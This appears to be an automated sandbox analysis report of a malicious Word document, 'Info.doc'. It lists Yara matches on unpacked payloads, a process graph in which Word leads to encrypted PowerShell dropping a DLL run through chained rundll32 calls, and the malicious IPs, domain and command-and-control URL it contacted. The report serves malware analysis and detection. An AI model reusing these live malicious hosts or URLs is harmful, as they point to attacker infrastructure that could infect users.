Source: Yara match File source: 12.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.270000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.3a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.230000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.690000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.380000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.380000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 23.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.690000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.2a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 20.2.rundll32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 336957 Sample: Info.doc Startdate: 07/01/2021 Architecture: WINDOWS Score: 100 58 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->58 60 Multi AV Scanner detection for domain / URL 2->60 62 Antivirus detection for URL or domain 2->62 64 13 other signatures 2->64 14 cmd.exe 2->14         started        17 WINWORD.EXE 436 30 2->17         started        process3 file4 78 Suspicious powershell command line found 14->78 80 Very long command line found 14->80 82 Encrypted powershell cmdline option found 14->82 84 PowerShell case anomaly found 14->84 20 powershell.exe 16 13 14->20         started        25 msg.exe 14->25         started        50 C:\Users\user\Desktop\~$Info.doc, data 17->50 dropped signatures5 process6 dnsIp7 54 dagranitegiare.com 45.119.81.203, 443, 49165 LVSS-AS-VNLongVanSystemSolutionJSCVN Viet Nam 20->54 52 C:\Users\user\Rg0646r\Q90xmrq\M8jklv4.dll, PE32 20->52 dropped 68 Powershell drops PE file 20->68 27 rundll32.exe 20->27         started        file8 signatures9 process10 process11 29 rundll32.exe 2 27->29         started        signatures12 76 Hides that the sample has been downloaded from the Internet (zone.identifier) 29->76 32 rundll32.exe 1 29->32         started        process13 signatures14 56 Hides that the sample has been downloaded from the Internet (zone.identifier) 32->56 35 rundll32.exe 1 32->35         started        process15 signatures16 66 Hides that the sample has been downloaded from the Internet (zone.identifier) 35->66 38 rundll32.exe 1 35->38         started        process17 signatures18 70 Hides that the sample has been downloaded from the Internet (zone.identifier) 38->70 41 rundll32.exe 1 38->41         started        process19 signatures20 72 Hides that the sample has been downloaded from the Internet (zone.identifier) 41->72 44 rundll32.exe 1 41->44         started        process21 signatures22 74 Hides that the sample has been downloaded from the Internet (zone.identifier) 44->74 47 rundll32.exe 44->47         started        process23 signatures24 86 Hides that the sample has been downloaded from the Internet (zone.identifier) 47->86
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
167.71.148.58
 unknown United States
14061 DIGITALOCEAN-ASNUS true
202.187.222.40
 unknown Malaysia
9930 TTNET-MYTIMEdotComBerhadMY true
45.119.81.203
 unknown Viet Nam
131386 LVSS-AS-VNLongVanSystemSolutionJSCVN true
184.66.18.83
 unknown Canada
6327 SHAWCA true

Contacted Domains

Name IP Active
dagranitegiare.com 45.119.81.203 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://167.71.148.58:443/6nxx5oih3i78uw7qh7/m4898/4op628cd88c/ji50i68zs1/i9hmqo/ true
  • Avira URL Cloud: safe
 unknown